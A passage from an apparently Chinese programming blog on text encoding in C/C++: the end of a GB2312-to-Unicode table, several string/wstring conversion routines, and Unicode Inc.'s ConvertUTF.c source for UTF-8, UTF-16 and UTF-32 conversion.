{0x47fd,0x9f3c},{0xfcf7,0x9f3d},{0xfdf7,0x9f3e},{0x48fd,0x9f3f},{0x49fd,0x9f40},
{0x4afd,0x9f41},{0x4bfd,0x9f42},{0x4cfd,0x9f43},{0xfef7,0x9f44},{0x4dfd,0x9f45},
{0x4efd,0x9f46},{0x4ffd,0x9f47},{0x50fd,0x9f48},{0x51fd,0x9f49},{0x52fd,0x9f4a},
{0x53fd,0x9f4b},{0x54fd,0x9f4c},{0x55fd,0x9f4d},{0x56fd,0x9f4e},{0x57fd,0x9f4f},
{0xebc6,0x9f50},{0xb4ec,0x9f51},{0x58fd,0x9f52},{0x59fd,0x9f53},{0x5afd,0x9f54},
{0x5bfd,0x9f55},{0x5cfd,0x9f56},{0x5dfd,0x9f57},{0x5efd,0x9f58},{0x5ffd,0x9f59},
{0x60fd,0x9f5a},{0x61fd,0x9f5b},{0x62fd,0x9f5c},{0x63fd,0x9f5d},{0x64fd,0x9f5e},
{0x65fd,0x9f5f},{0x66fd,0x9f60},{0x67fd,0x9f61},{0x68fd,0x9f62},{0x69fd,0x9f63},
{0x6afd,0x9f64},{0x6bfd,0x9f65},{0x6cfd,0x9f66},{0x6dfd,0x9f67},{0x6efd,0x9f68},
{0x6ffd,0x9f69},{0x70fd,0x9f6a},{0x71fd,0x9f6b},{0x72fd,0x9f6c},{0x73fd,0x9f6d},
{0x74fd,0x9f6e},{0x75fd,0x9f6f},{0x76fd,0x9f70},{0x77fd,0x9f71},{0x78fd,0x9f72},
{0x79fd,0x9f73},{0x7afd,0x9f74},{0x7bfd,0x9f75},{0x7cfd,0x9f76},{0x7dfd,0x9f77},
{0x7efd,0x9f78},{0x80fd,0x9f79},{0x81fd,0x9f7a},{0x82fd,0x9f7b},{0x83fd,0x9f7c},
{0x84fd,0x9f7d},{0x85fd,0x9f7e},{0xddb3,0x9f7f},{0xb3f6,0x9f80},{0x86fd,0x9f81},
{0x87fd,0x9f82},{0xb4f6,0x9f83},{0xe4c1,0x9f84},{0xb5f6,0x9f85},{0xb6f6,0x9f86},
{0xb7f6,0x9f87},{0xb8f6,0x9f88},{0xb9f6,0x9f89},{0xbaf6,0x9f8a},{0xa3c8,0x9f8b},
{0xbbf6,0x9f8c},{0x88fd,0x9f8d},{0x89fd,0x9f8e},{0x8afd,0x9f8f},{0x8bfd,0x9f90},
{0x8cfd,0x9f91},{0x8dfd,0x9f92},{0x8efd,0x9f93},{0x8ffd,0x9f94},{0x90fd,0x9f95},
{0x91fd,0x9f96},{0x92fd,0x9f97},{0x93fd,0x9f98},{0xfac1,0x9f99},{0xa8b9,0x9f9a},
{0xe8ed,0x9f9b},{0x94fd,0x9f9c},{0x95fd,0x9f9d},{0x96fd,0x9f9e},{0xeab9,0x9f9f},
{0xdfd9,0x9fa0},{0x97fd,0x9fa1},{0x98fd,0x9fa2},{0x99fd,0x9fa3},{0x9afd,0x9fa4},
{0x9bfd,0x9fa5},{0x55a9,0xfe30},{0xf2a6,0xfe31},{0xf4a6,0xfe33},{0xf5a6,0xfe34},
{0xe0a6,0xfe35},{0xe1a6,0xfe36},{0xf0a6,0xfe37},{0xf1a6,0xfe38},{0xe2a6,0xfe39},
{0xe3a6,0xfe3a},{0xeea6,0xfe3b},{0xefa6,0xfe3c},{0xe6a6,0xfe3d},{0xe7a6,0xfe3e},
{0xe4a6,0xfe3f},{0xe5a6,0xfe40},{0xe8a6,0xfe41},{0xe9a6,0xfe42},{0xeaa6,0xfe43},
{0xeba6,0xfe44},{0x68a9,0xfe49},{0x69a9,0xfe4a},{0x6aa9,0xfe4b},{0x6ba9,0xfe4c},
{0x6ca9,0xfe4d},{0x6da9,0xfe4e},{0x6ea9,0xfe4f},{0x6fa9,0xfe50},{0x70a9,0xfe51},
{0x71a9,0xfe52},{0x72a9,0xfe54},{0x73a9,0xfe55},{0x74a9,0xfe56},{0x75a9,0xfe57},
{0x76a9,0xfe59},{0x77a9,0xfe5a},{0x78a9,0xfe5b},{0x79a9,0xfe5c},{0x7aa9,0xfe5d},
{0x7ba9,0xfe5e},{0x7ca9,0xfe5f},{0x7da9,0xfe60},{0x7ea9,0xfe61},{0x80a9,0xfe62},
{0x81a9,0xfe63},{0x82a9,0xfe64},{0x83a9,0xfe65},{0x84a9,0xfe66},{0x85a9,0xfe68},
{0x86a9,0xfe69},{0x87a9,0xfe6a},{0x88a9,0xfe6b},{0xa1a3,0xff01},{0xa2a3,0xff02},
{0xa3a3,0xff03},{0xe7a1,0xff04},{0xa5a3,0xff05},{0xa6a3,0xff06},{0xa7a3,0xff07},
{0xa8a3,0xff08},{0xa9a3,0xff09},{0xaaa3,0xff0a},{0xaba3,0xff0b},{0xaca3,0xff0c},
{0xada3,0xff0d},{0xaea3,0xff0e},{0xafa3,0xff0f},{0xb0a3,0xff10},{0xb1a3,0xff11},
{0xb2a3,0xff12},{0xb3a3,0xff13},{0xb4a3,0xff14},{0xb5a3,0xff15},{0xb6a3,0xff16},
{0xb7a3,0xff17},{0xb8a3,0xff18},{0xb9a3,0xff19},{0xbaa3,0xff1a},{0xbba3,0xff1b},
{0xbca3,0xff1c},{0xbda3,0xff1d},{0xbea3,0xff1e},{0xbfa3,0xff1f},{0xc0a3,0xff20},
{0xc1a3,0xff21},{0xc2a3,0xff22},{0xc3a3,0xff23},{0xc4a3,0xff24},{0xc5a3,0xff25},
{0xc6a3,0xff26},{0xc7a3,0xff27},{0xc8a3,0xff28},{0xc9a3,0xff29},{0xcaa3,0xff2a},
{0xcba3,0xff2b},{0xcca3,0xff2c},{0xcda3,0xff2d},{0xcea3,0xff2e},{0xcfa3,0xff2f},
{0xd0a3,0xff30},{0xd1a3,0xff31},{0xd2a3,0xff32},{0xd3a3,0xff33},{0xd4a3,0xff34},
{0xd5a3,0xff35},{0xd6a3,0xff36},{0xd7a3,0xff37},{0xd8a3,0xff38},{0xd9a3,0xff39},
{0xdaa3,0xff3a},{0xdba3,0xff3b},{0xdca3,0xff3c},{0xdda3,0xff3d},{0xdea3,0xff3e},
{0xdfa3,0xff3f},{0xe0a3,0xff40},{0xe1a3,0xff41},{0xe2a3,0xff42},{0xe3a3,0xff43},
{0xe4a3,0xff44},{0xe5a3,0xff45},{0xe6a3,0xff46},{0xe7a3,0xff47},{0xe8a3,0xff48},
{0xe9a3,0xff49},{0xeaa3,0xff4a},{0xeba3,0xff4b},{0xeca3,0xff4c},{0xeda3,0xff4d},
{0xeea3,0xff4e},{0xefa3,0xff4f},{0xf0a3,0xff50},{0xf1a3,0xff51},{0xf2a3,0xff52},
{0xf3a3,0xff53},{0xf4a3,0xff54},{0xf5a3,0xff55},{0xf6a3,0xff56},{0xf7a3,0xff57},
{0xf8a3,0xff58},{0xf9a3,0xff59},{0xfaa3,0xff5a},{0xfba3,0xff5b},{0xfca3,0xff5c},
{0xfda3,0xff5d},{0xaba1,0xff5e},{0xe9a1,0xffe0},{0xeaa1,0xffe1},{0x56a9,0xffe2},
{0xfea3,0xffe3},{0x57a9,0xffe4},{0xa4a3,0xffe5}
};

#endif

测试代码:(在32winxp、RedLinux 位下测试通过)
#include "unicode.h"
#include <iostream.h>
#include <stdio.h>

void main()
{
char *pU = "华";
unsigned short buf[100]={0};
if(gb2unicode(buf,pU,1)==0xFFFF)
{
  cout<<"fail"<<endl;
  return;
}
cout<<hex<<buf[0]<<endl;
system("PAUSE");
}

一 C++ 中 string与wstring互转

方法一:

string WideToMutilByte(const wstring& _src)
{
int nBufSize = WideCharToMultiByte(GetACP(), 0, _src.c_str(),-1, NULL, 0, 0, FALSE);

char *szBuf = new char[nBufSize];

WideCharToMultiByte(GetACP(), 0, _src.c_str(),-1, szBuf, nBufSize, 0, FALSE);

string strRet(szBuf);

delete []szBuf;
szBuf = NULL;

return strRet;
}

wstring MutilByteToWide(const string& _src)
{
//计算字符串 string 转成 wchar_t 之后占用的内存字节数
int nBufSize = MultiByteToWideChar(GetACP(),0,_src.c_str(),-1,NULL,0);

//为 wsbuf 分配内存 BufSize 个字节
wchar_t *wsBuf = new wchar_t[nBufSize];

//转化为 unicode 的 WideString
MultiByteToWideChar(GetACP(),0,_src.c_str(),-1,wsBuf,nBufSize);

wstring wstrRet(wsBuf);

delete []wsBuf;
wsBuf = NULL;

return wstrRet;
}

转载:csdn

这篇文章里,我将给出几种C++ std::string和std::wstring相互转换的转换方法。
第一种方法:调用WideCharToMultiByte()和MultiByteToWideChar(),代码如下(关于详细的解释,可以参考《windows核心编程》):

#include <string>
#include <windows.h>
using namespace std;
//Converting a WChar string to a Ansi string
std::string WChar2Ansi(LPCWSTR pwszSrc)
{
         int nLen = WideCharToMultiByte(CP_ACP, 0, pwszSrc, -1, NULL, 0, NULL, NULL);
         if (nLen<= 0) return std::string("");
         char* pszDst = new char[nLen];
         if (NULL == pszDst) return std::string("");
         WideCharToMultiByte(CP_ACP, 0, pwszSrc, -1, pszDst, nLen, NULL, NULL);
         pszDst[nLen -1] = 0;
         std::string strTemp(pszDst);
         delete [] pszDst;
         return strTemp;
}

string ws2s(wstring& inputws)
{
        return WChar2Ansi(inputws.c_str());
}

//Converting a Ansi string to WChar string

std::wstring Ansi2WChar(LPCSTR pszSrc, int nLen)
{
    int nSize = MultiByteToWideChar(CP_ACP, 0, (LPCSTR)pszSrc, nLen, 0, 0);
    if(nSize <= 0) return NULL;
         WCHAR *pwszDst = new WCHAR[nSize+1];
    if( NULL == pwszDst) return NULL;
    MultiByteToWideChar(CP_ACP, 0,(LPCSTR)pszSrc, nLen, pwszDst, nSize);
    pwszDst[nSize] = 0;
    if( pwszDst[0] == 0xFEFF)                    // skip Oxfeff
        for(int i = 0; i < nSize; i ++)
                            pwszDst[i] = pwszDst[i+1];
    wstring wcharString(pwszDst);
         delete pwszDst;
    return wcharString;
}

std::wstring s2ws(const string& s)
{
     return Ansi2WChar(s.c_str(),s.size());
}

第二种方法:采用ATL封装_bstr_t的过渡:(注,_bstr_是Microsoft Specific的,所以下面代码可以在VS2005通过,无移植性);

#include <string>
#include <comutil.h>
using namespace std;
#pragma comment(lib, "comsuppw.lib")
string ws2s(const wstring& ws);
wstring s2ws(const string& s);
string ws2s(const wstring& ws)
{
         _bstr_t t = ws.c_str();
         char* pchar = (char*)t;
         string result = pchar;
         return result;
}

wstring s2ws(const string& s)
{
         _bstr_t t = s.c_str();
         wchar_t* pwchar = (wchar_t*)t;
         wstring result = pwchar;
         return result;
}

第三种方法:使用CRT库的mbstowcs()函数和wcstombs()函数,平台无关,需设定locale。

#include <string>
#include <locale.h>
using namespace std;
string ws2s(const wstring& ws)
{
         string curLocale = setlocale(LC_ALL, NULL);        // curLocale = "C";
         setlocale(LC_ALL, "chs");
         const wchar_t* _Source = ws.c_str();
         size_t _Dsize = 2 * ws.size() + 1;
         char *_Dest = new char[_Dsize];
         memset(_Dest,0,_Dsize);
         wcstombs(_Dest,_Source,_Dsize);
         string result = _Dest;
         delete []_Dest;
         setlocale(LC_ALL, curLocale.c_str());
         return result;
}

wstring s2ws(const string& s)
{
         setlocale(LC_ALL, "chs");
         const char* _Source = s.c_str();
         size_t _Dsize = s.size() + 1;
         wchar_t *_Dest = new wchar_t[_Dsize];
         wmemset(_Dest, 0, _Dsize);
         mbstowcs(_Dest,_Source,_Dsize);
         wstring result = _Dest;
         delete []_Dest;
         setlocale(LC_ALL, "C");
         return result;
}

二 utf8.utf16.utf32的相互转化

可以参考Unicode.org 上有ConvertUTF.c和ConvertUTF.h (下载地址:http://www.unicode.org/Public/PROGRAMS/CVTUTF/

实现文件ConvertUTF.c:(.h省)
/**//*
* Copyright 2001-2004 Unicode, Inc.
*
* Disclaimer
*
* This source code is provided as is by Unicode, Inc. No claims are
* made as to fitness for any particular purpose. No warranties of any
* kind are expressed or implied. The recipient agrees to determine
* applicability of information provided. If this file has been
* purchased on magnetic or optical media from Unicode, Inc., the
* sole remedy for any claim will be exchange of defective media
* within 90 days of receipt.
*
* Limitations on Rights to Redistribute This Code
*
* Unicode, Inc. hereby grants the right to freely use the information
* supplied in this file in the creation of products supporting the
* Unicode Standard, and to make copies of this file in any form
* for internal or external distribution as long as this notice
* remains attached.
*/

/**//* ---------------------------------------------------------------------

    Conversions between UTF32, UTF-16, and UTF-8. Source code file.
    Author: Mark E. Davis, 1994.
    Rev History: Rick McGowan, fixes & updates May 2001.
    Sept 2001: fixed const & error conditions per
    mods suggested by S. Parent & A. Lillich.
    June 2002: Tim Dodd added detection and handling of incomplete
    source sequences, enhanced error detection, added casts
    to eliminate compiler warnings.
    July 2003: slight mods to back out aggressive FFFE detection.
    Jan 2004: updated switches in from-UTF8 conversions.
    Oct 2004: updated to use UNI_MAX_LEGAL_UTF32 in UTF-32 conversions.

    See the header file "ConvertUTF.h" for complete documentation.

------------------------------------------------------------------------ */

#include "ConvertUTF.h"
#ifdef CVTUTF_DEBUG
#include <stdio.h>
#endif

static const int halfShift  = 10; /**//* used for shifting by 10 bits */

static const UTF32 halfBase = 0x0010000UL;
static const UTF32 halfMask = 0x3FFUL;

#define UNI_SUR_HIGH_START  (UTF32)0xD800
#define UNI_SUR_HIGH_END    (UTF32)0xDBFF
#define UNI_SUR_LOW_START   (UTF32)0xDC00
#define UNI_SUR_LOW_END     (UTF32)0xDFFF
#define false       0
#define true        1

/**//* --------------------------------------------------------------------- */

ConversionResult ConvertUTF32toUTF16 (
    const UTF32** sourceStart, const UTF32* sourceEnd,
    UTF16** targetStart, UTF16* targetEnd, ConversionFlags flags) {
    ConversionResult result = conversionOK;
    const UTF32* source = *sourceStart;
    UTF16* target = *targetStart;
    while (source < sourceEnd) {
    UTF32 ch;
    if (target >= targetEnd) {
        result = targetExhausted; break;
    }
    ch = *source++;
    if (ch <= UNI_MAX_BMP) { /**//* Target is a character <= 0xFFFF */
        /**//* UTF-16 surrogate values are illegal in UTF-32; 0xffff or 0xfffe are both reserved values */
        if (ch >= UNI_SUR_HIGH_START && ch <= UNI_SUR_LOW_END) {
        if (flags == strictConversion) {
            --source; /**//* return to the illegal value itself */
            result = sourceIllegal;
            break;
        } else {
            *target++ = UNI_REPLACEMENT_CHAR;
        }
        } else {
        *target++ = (UTF16)ch; /**//* normal case */
        }
    } else if (ch > UNI_MAX_LEGAL_UTF32) {
        if (flags == strictConversion) {
        result = sourceIllegal;
        } else {
        *target++ = UNI_REPLACEMENT_CHAR;
        }
    } else {
        /**//* target is a character in range 0xFFFF - 0x10FFFF. */
        if (target + 1 >= targetEnd) {
        --source; /**//* Back up source pointer! */
        result = targetExhausted; break;
        }
        ch -= halfBase;
        *target++ = (UTF16)((ch >> halfShift) + UNI_SUR_HIGH_START);
        *target++ = (UTF16)((ch & halfMask) + UNI_SUR_LOW_START);
    }
    }
    *sourceStart = source;
    *targetStart = target;
    return result;
}

/**//* --------------------------------------------------------------------- */

ConversionResult ConvertUTF16toUTF32 (
    const UTF16** sourceStart, const UTF16* sourceEnd,
    UTF32** targetStart, UTF32* targetEnd, ConversionFlags flags) {
    ConversionResult result = conversionOK;
    const UTF16* source = *sourceStart;
    UTF32* target = *targetStart;
    UTF32 ch, ch2;
    while (source < sourceEnd) {
    const UTF16* oldSource = source; /**//*  In case we have to back up because of target overflow. */
    ch = *source++;
    /**//* If we have a surrogate pair, convert to UTF32 first. */
    if (ch >= UNI_SUR_HIGH_START && ch <= UNI_SUR_HIGH_END) {
        /**//* If the 16 bits following the high surrogate are in the source buffer */
        if (source < sourceEnd) {
        ch2 = *source;
        /**//* If it's a low surrogate, convert to UTF32. */
        if (ch2 >= UNI_SUR_LOW_START && ch2 <= UNI_SUR_LOW_END) {
            ch = ((ch - UNI_SUR_HIGH_START) << halfShift)
            + (ch2 - UNI_SUR_LOW_START) + halfBase;
            ++source;
        } else if (flags == strictConversion) { /**//* it's an unpaired high surrogate */
            --source; /**//* return to the illegal value itself */
            result = sourceIllegal;
            break;
        }
        } else { /**//* We don't have the 16 bits following the high surrogate. */
        --source; /**//* return to the high surrogate */
        result = sourceExhausted;
        break;
        }
    } else if (flags == strictConversion) {
        /**//* UTF-16 surrogate values are illegal in UTF-32 */
        if (ch >= UNI_SUR_LOW_START && ch <= UNI_SUR_LOW_END) {
        --source; /**//* return to the illegal value itself */
        result = sourceIllegal;
        break;
        }
    }
    if (target >= targetEnd) {
        source = oldSource; /**//* Back up source pointer! */
        result = targetExhausted; break;
    }
    *target++ = ch;
    }
    *sourceStart = source;
    *targetStart = target;
#ifdef CVTUTF_DEBUG
if (result == sourceIllegal) {
    fprintf(stderr, "ConvertUTF16toUTF32 illegal seq 0x%04x,%04x\n", ch, ch2);
    fflush(stderr);
}
#endif
    return result;
}

/**//* --------------------------------------------------------------------- */

/**//*
* Index into the table below with the first byte of a UTF-8 sequence to
* get the number of trailing bytes that are supposed to follow it.
* Note that *legal* UTF-8 values can't have 4 or 5-bytes. The table is
* left as-is for anyone who may want to do such conversion, which was
* allowed in earlier algorithms.
*/
static const char trailingBytesForUTF8[256] = {
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
    2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 3,3,3,3,3,3,3,3,4,4,4,4,5,5,5,5
};

/**//*
* Magic values subtracted from a buffer value during UTF8 conversion.
* This table contains as many values as there might be trailing bytes
* in a UTF-8 sequence.
*/
static const UTF32 offsetsFromUTF8[6] = { 0x00000000UL, 0x00003080UL, 0x000E2080UL,
             0x03C82080UL, 0xFA082080UL, 0x82082080UL };

/**//*
* Once the bits are split out into bytes of UTF-8, this is a mask OR-ed
* into the first byte, depending on how many bytes follow.  There are
* as many entries in this table as there are UTF-8 sequence types.
* (I.e., one byte sequence, two byte etc.). Remember that sequencs
* for *legal* UTF-8 will be 4 or fewer bytes total.
*/
static const UTF8 firstByteMark[7] = { 0x00, 0x00, 0xC0, 0xE0, 0xF0, 0xF8, 0xFC };

/**//* --------------------------------------------------------------------- */

/**//* The interface converts a whole buffer to avoid function-call overhead.
* Constants have been gathered. Loops & conditionals have been removed as
* much as possible for efficiency, in favor of drop-through switches.
* (See "Note A" at the bottom of the file for equivalent code.)
* If your compiler supports it, the "isLegalUTF8" call can be turned
* into an inline function.
*/

/**//* --------------------------------------------------------------------- */

ConversionResult ConvertUTF16toUTF8 (
    const UTF16** sourceStart, const UTF16* sourceEnd,
    UTF8** targetStart, UTF8* targetEnd, ConversionFlags flags) {
    ConversionResult result = conversionOK;
    const UTF16* source = *sourceStart;
    UTF8* target = *targetStart;
    while (source < sourceEnd) {
    UTF32 ch;
    unsigned short bytesToWrite = 0;
    const UTF32 byteMask = 0xBF;
    const UTF32 byteMark = 0x80;
    const UTF16* oldSource = source; /**//* In case we have to back up because of target overflow. */
    ch = *source++;
    /**//* If we have a surrogate pair, convert to UTF32 first. */
    if (ch >= UNI_SUR_HIGH_START && ch <= UNI_SUR_HIGH_END) {
        /**//* If the 16 bits following the high surrogate are in the source buffer */
        if (source < sourceEnd) {
        UTF32 ch2 = *source;
        /**//* If it's a low surrogate, convert to UTF32. */
        if (ch2 >= UNI_SUR_LOW_START && ch2 <= UNI_SUR_LOW_END) {
            ch = ((ch - UNI_SUR_HIGH_START) << halfShift)
            + (ch2 - UNI_SUR_LOW_START) + halfBase;
            ++source;
        } else if (flags == strictConversion) { /**//* it's an unpaired high surrogate */
            --source; /**//* return to the illegal value itself */
            result = sourceIllegal;
            break;
        }
        } else { /**//* We don't have the 16 bits following the high surrogate. */
        --source; /**//* return to the high surrogate */
        result = sourceExhausted;
        break;
        }
    } else if (flags == strictConversion) {
        /**//* UTF-16 surrogate values are illegal in UTF-32 */
        if (ch >= UNI_SUR_LOW_START && ch <= UNI_SUR_LOW_END) {
        --source; /**//* return to the illegal value itself */
        result = sourceIllegal;
        break;
        }
    }
    /**//* Figure out how many bytes the result will require */
    if (ch < (UTF32)0x80) {         bytesToWrite = 1;
    } else if (ch < (UTF32)0x800) {     bytesToWrite = 2;
    } else if (ch < (UTF32)0x10000) {   bytesToWrite = 3;
    } else if (ch < (UTF32)0x110000) {  bytesToWrite = 4;
    } else {                bytesToWrite = 3;
                        ch = UNI_REPLACEMENT_CHAR;
    }

    target += bytesToWrite;
    if (target > targetEnd) {
        source = oldSource; /**//* Back up source pointer! */
        target -= bytesToWrite; result = targetExhausted; break;
    }
    switch (bytesToWrite) { /**//* note: everything falls through. */
        case 4: *--target = (UTF8)((ch | byteMark) & byteMask); ch >>= 6;
        case 3: *--target = (UTF8)((ch | byteMark) & byteMask); ch >>= 6;
        case 2: *--target = (UTF8)((ch | byteMark) & byteMask); ch >>= 6;
        case 1: *--target =  (UTF8)(ch | firstByteMark[bytesToWrite]);
    }
    target += bytesToWrite;
    }
    *sourceStart = source;
    *targetStart = target;
    return result;
}

/**//* --------------------------------------------------------------------- */

/**//*
* Utility routine to tell whether a sequence of bytes is legal UTF-8.
* This must be called with the length pre-determined by the first byte.
* If not calling this from ConvertUTF8to*, then the length can be set by:
*  length = trailingBytesForUTF8[*source]+1;
* and the sequence is illegal right away if there aren't that many bytes
* available.
* If presented with a length > 4, this returns false.  The Unicode
* definition of UTF-8 goes up to 4-byte sequences.
*/

static Boolean isLegalUTF8(const UTF8 *source, int length) {
    UTF8 a;
    const UTF8 *srcptr = source+length;
    switch (length) {
    default: return false;
    /**//* Everything else falls through when "true" */
    case 4: if ((a = (*--srcptr)) < 0x80 || a > 0xBF) return false;
    case 3: if ((a = (*--srcptr)) < 0x80 || a > 0xBF) return false;
    case 2: if ((a = (*--srcptr)) > 0xBF) return false;

    switch (*source) {
        /**//* no fall-through in this inner switch */
        case 0xE0: if (a < 0xA0) return false; break;
        case 0xED: if (a > 0x9F) return false; break;
        case 0xF0: if (a < 0x90) return false; break;
        case 0xF4: if (a > 0x8F) return false; break;
        default:   if (a < 0x80) return false;
    }

    case 1: if (*source >= 0x80 && *source < 0xC2) return false;
    }
    if (*source > 0xF4) return false;
    return true;
}

/**//* --------------------------------------------------------------------- */

/**//*
* Exported function to return whether a UTF-8 sequence is legal or not.
* This is not used here; it's just exported.
*/
Boolean isLegalUTF8Sequence(const UTF8 *source, const UTF8 *sourceEnd) {
    int length = trailingBytesForUTF8[*source]+1;
    if (source+length > sourceEnd) {
    return false;
    }
    return isLegalUTF8(source, length);
}

/**//* --------------------------------------------------------------------- */

ConversionResult ConvertUTF8toUTF16 (
    const UTF8** sourceStart, const UTF8* sourceEnd,
    UTF16** targetStart, UTF16* targetEnd, ConversionFlags flags) {
    ConversionResult result = conversionOK;
    const UTF8* source = *sourceStart;
    UTF16* target = *targetStart;
    while (source < sourceEnd) {
    UTF32 ch = 0;
    unsigned short extraBytesToRead = trailingBytesForUTF8[*source];
    if (source + extraBytesToRead >= sourceEnd) {
        result = sourceExhausted; break;
    }
    /**//* Do this check whether lenient or strict */
    if (! isLegalUTF8(source, extraBytesToRead+1)) {
        result = sourceIllegal;
        break;
    }
    /**//*
     * The cases all fall through. See "Note A" below.
     */
    switch (extraBytesToRead) {
        case 5: ch += *source++; ch <<= 6; /**//* remember, illegal UTF-8 */
        case 4: ch += *source++; ch <<= 6; /**//* remember, illegal UTF-8 */
        case 3: ch += *source++; ch <<= 6;
        case 2: ch += *source++; ch <<= 6;
        case 1: ch += *source++; ch <<= 6;
        case 0: ch += *source++;
    }
    ch -= offsetsFromUTF8[extraBytesToRead];

    if (target >= targetEnd) {
        source -= (extraBytesToRead+1); /**//* Back up source pointer! */
        result = targetExhausted; break;
    }
    if (ch <= UNI_MAX_BMP) { /**//* Target is a character <= 0xFFFF */
        /**//* UTF-16 surrogate values are illegal in UTF-32 */
        if (ch >= UNI_SUR_HIGH_START && ch <= UNI_SUR_LOW_END) {
        if (flags == strictConversion) {
            source -= (extraBytesToRead+1); /**//* return to the illegal value itself */
            result = sourceIllegal;
            break;
        } else {
            *target++ = UNI_REPLACEMENT_CHAR;
        }
        } else {
        *target++ = (UTF16)ch; /**//* normal case */
        }
    } else if (ch > UNI_MAX_UTF16) {
        if (flags == strictConversion) {
        result = sourceIllegal;
        source -= (extraBytesToRead+1); /**//* return to the start */
        break; /**//* Bail out; shouldn't continue */
        } else {
        *target++ = UNI_REPLACEMENT_CHAR;
        }
    } else {
        /**//* target is a character in range 0xFFFF - 0x10FFFF. */
        if (target + 1 >= targetEnd) {
        source -= (extraBytesToRead+1); /**//* Back up source pointer! */
        result = targetExhausted; break;
        }
        ch -= halfBase;
        *target++ = (UTF16)((ch >> halfShift) + UNI_SUR_HIGH_START);
        *target++ = (UTF16)((ch & halfMask) + UNI_SUR_LOW_START);
    }
    }
    *sourceStart = source;
    *targetStart = target;
    return result;
}

/**//* --------------------------------------------------------------------- */

ConversionResult ConvertUTF32toUTF8 (
    const UTF32** sourceStart, const UTF32* sourceEnd,
    UTF8** targetStart, UTF8* targetEnd, ConversionFlags flags) {
    ConversionResult result = conversionOK;
    const UTF32* source = *sourceStart;
    UTF8* target = *targetStart;
    while (source < sourceEnd) {
    UTF32 ch;
    unsigned short bytesToWrite = 0;
    const UTF32 byteMask = 0xBF;
    const UTF32 byteMark = 0x80;
    ch = *source++;
    if (flags == strictConversion ) {
        /**//* UTF-16 surrogate values are illegal in UTF-32 */
        if (ch >= UNI_SUR_HIGH_START && ch <= UNI_SUR_LOW_END) {
        --source; /**//* return to the illegal value itself */
        result = sourceIllegal;
        break;
        }
    }
    /**//*
     * Figure out how many bytes the result will require. Turn any
     * illegally large UTF32 things (> Plane 17) into replacement chars.
     */
    if (ch < (UTF32)0x80) {         bytesToWrite = 1;
    } else if (ch < (UTF32)0x800) {     bytesToWrite = 2;
    } else if (ch < (UTF32)0x10000) {   bytesToWrite = 3;
    } else if (ch <= UNI_MAX_LEGAL_UTF32) {  bytesToWrite = 4;
    } else {                bytesToWrite = 3;
                        ch = UNI_REPLACEMENT_CHAR;
                        result = sourceIllegal;
    }
    target += bytesToWrite;
    if (target > targetEnd) {
        --source; /**//* Back up source pointer! */
        target -= bytesToWrite; result = targetExhausted; break;
    }
    switch (bytesToWrite) { /**//* note: everything falls through. */
        case 4: *--target = (UTF8)((ch | byteMark) & byteMask); ch >>= 6;
        case 3: *--target = (UTF8)((ch | byteMark) & byteMask); ch >>= 6;
        case 2: *--target = (UTF8)((ch | byteMark) & byteMask); ch >>= 6;
        case 1: *--target = (UTF8) (ch | firstByteMark[bytesToWrite]);
    }
    target += bytesToWrite;
    }
    *sourceStart = source;
    *targetStart = target;
    return result;
}

/**//* --------------------------------------------------------------------- */

ConversionResult ConvertUTF8toUTF32 (
    const UTF8** sourceStart, const UTF8* sourceEnd,
    UTF32** targetStart, UTF32* targetEnd, ConversionFlags flags) {
    ConversionResult result = conversionOK;
    const UTF8* source = *sourceStart;
    UTF32* target = *targetStart;
    while (source < sourceEnd) {
    UTF32 ch = 0;
    unsigned short extraBytesToRead = trailingBytesForUTF8[*source];
    if (source + extraBytesToRead >= sourceEnd) {
        result = sourceExhausted; break;
    }
    /**//* Do this check whether lenient or strict */
    if (! isLegalUTF8(source, extraBytesToRead+1)) {
        result = sourceIllegal;
        break;
    }
    /**//*
     * The cases all fall through. See "Note A" below.
     */
    switch (extraBytesToRead) {
        case 5: ch += *source++; ch <<= 6;
        case 4: ch += *source++; ch <<= 6;
        case 3: ch += *source++; ch <<= 6;
        case 2: ch += *source++; ch <<= 6;
        case 1: ch += *source++; ch <<= 6;
        case 0: ch += *source++;
    }
    ch -= offsetsFromUTF8[extraBytesToRead];

    if (target >= targetEnd) {
        source -= (extraBytesToRead+1); /**//* Back up the source pointer! */
        result = targetExhausted; break;
    }
    if (ch <= UNI_MAX_LEGAL_UTF32) {
        /**//*
         * UTF-16 surrogate values are illegal in UTF-32, and anything
         * over Plane 17 (> 0x10FFFF) is illegal.
         */
        if (ch >= UNI_SUR_HIGH_START && ch <= UNI_SUR_LOW_END) {
        if (flags == strictConversion) {
            source -= (extraBytesToRead+1); /**//* return to the illegal value itself */
            result = sourceIllegal;
            break;
        } else {
            *target++ = UNI_REPLACEMENT_CHAR;
        }
        } else {
        *target++ = ch;
        }
    } else { /**//* i.e., ch > UNI_MAX_LEGAL_UTF32 */
        result = sourceIllegal;
        *target++ = UNI_REPLACEMENT_CHAR;
    }
    }
    *sourceStart = source;
    *targetStart = target;
    return result;
}

/**//* ---------------------------------------------------------------------

    Note A.
    The fall-through switches in UTF-8 reading code save a
    temp variable, some decrements & conditionals.  The switches
    are equivalent to the following loop:
    {
        int tmpBytesToRead = extraBytesToRead+1;
        do {
        ch += *source++;
        --tmpBytesToRead;
        if (tmpBytesToRead) ch <<= 6;
        } while (tmpBytesToRead > 0);
    }
    In UTF-8 writing code, the switches on "bytesToWrite" are
    similarly unrolled loops.

   --------------------------------------------------------------------- */

三 C++ 的字符串与C#的转化

1)将system::String 转化为C++的string:
// convert_system_string.cpp
// compile with: /clr
#include <string>
#include <iostream>
using namespace std;
using namespace System;

void MarshalString ( String ^ s, string& os ) {
   using namespace Runtime::InteropServices;
